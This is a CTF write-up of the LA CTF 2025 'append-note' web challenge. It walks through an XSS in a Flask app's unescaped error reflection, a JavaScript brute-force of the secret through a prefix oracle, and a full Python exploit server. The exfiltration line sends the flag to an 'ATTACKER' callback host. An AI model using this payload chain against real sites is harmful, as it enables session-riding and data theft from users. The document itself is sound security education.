append-note - LA CTF 2025 Web Writeup
Category: Web
Difficulty: Hard
Points: 322
Solves: 19
Flag: lactf{3V3n7U4LLy_C0N5I573N7_70_L34X}
Solved by: Smothy @ 0xN1umb

"They said reads are eventually consistent. Turns out, so are my XSS payloads."
Challenge Description
Our distributed notes app is append optimized. Reads are eventually consistent with the heat death of the universe! :)
A Flask notes app where you can only append, never read. An admin bot visits URLs you provide. The flag is behind a secret you need to leak. Classic XS-Leak territory... or is it?
TL;DR
XSS via unescaped urlparse hostname reflection in the /append error response. The hostname field gets injected as raw HTML because Flask returns text/html by default. From same-origin, brute-force an 8-char hex secret through a startswith oracle, fetch the flag, exfiltrate. XSS go brrr.
Initial Recon
We get four files: app.py, admin-bot.js, and two Jinja2 templates.
First thing I notice: single gunicorn worker (-w 1), in-memory notes list. No database, no persistence beyond the process. The "distributed" claim in the description is pure comedy.
Key observations from app.py:
SECRET = secrets.token_hex(4) # 8 hex chars (0-9, a-f)
notes = [SECRET]
@app.route("/append")
def append():
if request.cookies.get("admin") != ADMIN_SECRET:
return "Unauthorized", 401
content = request.args.get("content", "")
redirect_url = request.args.get("url", "/")
parsed_url = urlparse(redirect_url)
if (
parsed_url.scheme not in ["http", "https"]
or parsed_url.hostname != urlparse(HOST).hostname
):
return f"Invalid redirect URL {parsed_url.scheme} {parsed_url.hostname}", 400
status = 200 if any(note.startswith(content) for note in notes) else 404
notes.append(content)
return render_template("redirect.html", url=redirect_url), status
@app.route("/flag")
def flag():
# ... Access-Control-Allow-Origin: * ...
message = FLAG if request.args.get("secret") == SECRET else "Invalid secret"The architecture breaks down to:
/append- requires admin cookie, checks if any note starts withcontent, returns 200/404 (an oracle!), always appends/flag- no auth needed, just needs the SECRET, has CORS*- Admin bot - Puppeteer, sets
httpOnly+sameSite: Laxcookie, visits our URL, waits 60 seconds
So the game plan is clear: leak the SECRET through the oracle, then grab the flag. But how do we observe the oracle's 200 vs 404 response from cross-origin?
Step 1: Finding the XSS Vector
I spent a while thinking about XS-Leak approaches - script tag error events, popup frame counting, navigation timing. None of them work cleanly here because:
sameSite: Laxblocks cookies on subresource requests (script/img/css tags)- Both 200 and 404 return identical HTML (redirect template)
- No cache differences, no frame count differences
Then I looked at line 48 more carefully:
return f"Invalid redirect URL {parsed_url.scheme} {parsed_url.hostname}", 400parsed_url.hostname is reflected directly into the response with ZERO escaping. And Flask returns strings as text/html by default.
If we can get urlparse to extract an HTML payload as the "hostname", we get XSS on the challenge domain.
The crafted URL:
http://<svg onload=eval(atob(location.hash.slice(1)))>.x/
Python's urlparse processes this as:
- scheme:
http(passes the["http", "https"]check) - hostname:
<svg onload=eval(atob(location.hash.slice(1)))>.x(doesn't match challenge hostname - triggers error branch!)
The error response becomes:
Invalid redirect URL http <svg onload=eval(atob(location.hash.slice(1)))>.xBrowser sees <svg onload=...>, fires the onload event, our code executes. Three critical constraints satisfied:
- No
/in the payload - slashes would terminate the netloc in urlparse, breaking the hostname extraction - All lowercase -
urlparse.hostnamelowercases everything; our payload is already lowercase - Base64 payload in URL fragment - the
#hashpart never reaches the server but is available vialocation.hashin the browser
Step 2: The Oracle Brute-Force
With same-origin XSS, we can fetch('/append') directly and read response status codes. The admin cookie gets included automatically (same-origin request).
The oracle works by prefix matching:
// For each position, try each hex char
for (let i = 0; i < 8; i++) {
for (const c of '0123456789abcdef') {
const guess = secret_so_far + c;
const r = await fetch('/append?content=' + guess + '&url=' + encodeURIComponent(location.origin + '/'));
if (r.status === 200) {
secret_so_far += c;
break;
}
}
}For the homies worried about notes pollution: each failed guess gets appended (e.g., "0", "1", "2"...), but these short strings can never match longer prefixes. If SECRET starts with "a", then:
"0".startswith("a1")→ False (different first char)"a".startswith("a1")→ False (too short)
The oracle stays clean. Max 128 requests, ~6-13 seconds total. Well within the 60-second bot timeout.
Step 3: The Full Exploit Chain
The complete attack:
Attacker server (served via ngrok):
<!DOCTYPE html>
<html><body>
<script>location.href="CHALLENGE/append?content=x&url=XSS_URL#BASE64_PAYLOAD";</script>
</body></html>XSS payload (base64-encoded in the URL fragment):
(async()=>{
let s='';
for(let i=0;i<8;i++){
for(const c of '0123456789abcdef'){
const g=s+c;
const r=await fetch('/append?content='+g+'&url='+encodeURIComponent(location.origin+'/'));
if(r.status===200){s+=c;break;}
}}
const f=await fetch('/flag?secret='+s).then(r=>r.text());
new Image().src='https://ATTACKER/cb?f='+encodeURIComponent(f);
})();The sameSite: Lax cookie is sent because the initial navigation (from our page to the challenge) is a top-level GET request - exactly what Lax allows for cross-site contexts.
Exploit server (exploit.py):
#!/usr/bin/env python3
import sys, base64, urllib.parse
from http.server import HTTPServer, BaseHTTPRequestHandler
CHALLENGE = sys.argv[1].rstrip("/")
ATTACKER = sys.argv[2].rstrip("/")
PORT = int(sys.argv[3]) if len(sys.argv) > 3 else 8080
EXPLOIT_JS = """(async()=>{
let s='';
for(let i=0;i<8;i++){
for(const c of '0123456789abcdef'){
const g=s+c;
const r=await fetch('/append?content='+g+'&url='+encodeURIComponent(location.origin+'/'));
if(r.status===200){s+=c;break;}
}}
const f=await fetch('/flag?secret='+s).then(r=>r.text());
new Image().src='""" + ATTACKER + """/cb?f='+encodeURIComponent(f);
})();"""
B64 = base64.b64encode(EXPLOIT_JS.encode()).decode()
XSS_URL_PARAM = "http://<svg onload=eval(atob(location.hash.slice(1)))>.x/"
ENCODED_PARAM = urllib.parse.quote(XSS_URL_PARAM, safe="")
FULL_XSS_URL = f"{CHALLENGE}/append?content=x&url={ENCODED_PARAM}#{B64}"
EXPLOIT_HTML = f'<!DOCTYPE html><html><body>' \
f'<script>location.href="{FULL_XSS_URL}";</script></body></html>'
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path.startswith("/cb"):
qs = urllib.parse.urlparse(self.path).query
params = urllib.parse.parse_qs(qs)
flag = params.get("f", ["???"])[0]
print(f"\n{'='*60}\n FLAG: {flag}\n{'='*60}\n")
self.send_response(200)
self.end_headers()
self.wfile.write(b"OK")
else:
self.send_response(200)
self.send_header("Content-Type", "text/html")
self.end_headers()
self.wfile.write(EXPLOIT_HTML.encode())
HTTPServer(("0.0.0.0", PORT), Handler).serve_forever()The Flag
Submitted the attacker URL to the admin bot, waited a few seconds, and...
lactf{3V3n7U4LLy_C0N5I573N7_70_L34X}
Decoded: "eventually consistent to leak" - a callback to the challenge description. Respect to the challenge author for the wordplay.
The Graveyard of Failed Attempts
Before finding the XSS, I went down several rabbit holes:
-
XS-Leak via
<script>error events - Would distinguish 200 vs 404, butsameSite: Laxblocks cookies on subresource requests. Dead end. -
Popup
history.length/frames.length- Both responses return identical HTML structure. No observable difference cross-origin. -
Open redirect via URL parsing quirks - Tried
https://attacker\@challenge/(backslash-to-slash browser normalization). Python seeschallengeas hostname, browser navigates toattacker. Cool trick but doesn't help detect the oracle response. -
CSS injection / scroll-to-text - No variable-length responses to measure. Not applicable.
-
Navigation timing - Both 200 and 404 have the same 100ms redirect delay. Identical timing.
The breakthrough was realizing the error response itself was the vulnerability - not the oracle detection mechanism. Sometimes the simplest bugs are hiding in plain sight.
Key Takeaways
-
Always check error paths for injection - The happy path (redirect template) used safe Jinja2 escaping with
tojson. The error path used raw f-strings. Classic asymmetry. -
urlparseis not a security boundary - Python's URL parser accepts basically anything as a hostname. HTML tags, spaces, special characters - it doesn't validate, it just splits. -
Flask returns
text/htmlby default - Even for plain error strings likereturn "error message", 400. Combined with unescaped user input, instant XSS. -
sameSite: Laxstill allows top-level GET navigations - The XSS payload travels via alocation.hrefredirect, which is a top-level navigation. Lax cookies are sent. -
URL fragments are client-side only - The
#base64payloadnever reaches the server but is accessible vialocation.hashin the browser. Perfect for smuggling large payloads. -
Hostname lowercasing matters -
urlparse.hostnamereturns lowercase. Any XSS payload in the hostname must be case-insensitive.<svg onload=eval(...)>is naturally lowercase.
Tools Used
- Python 3 + Flask (local testing)
- curl (API testing)
- ngrok (public tunnel for callback)
- matplotlib (screenshots)
- Way too much caffeine
- An unreasonable amount of time thinking about XS-Leaks before finding the actual XSS
Writeup by Smothy from 0xN1umb team. "Eventually consistent with the heat death of my patience." GG.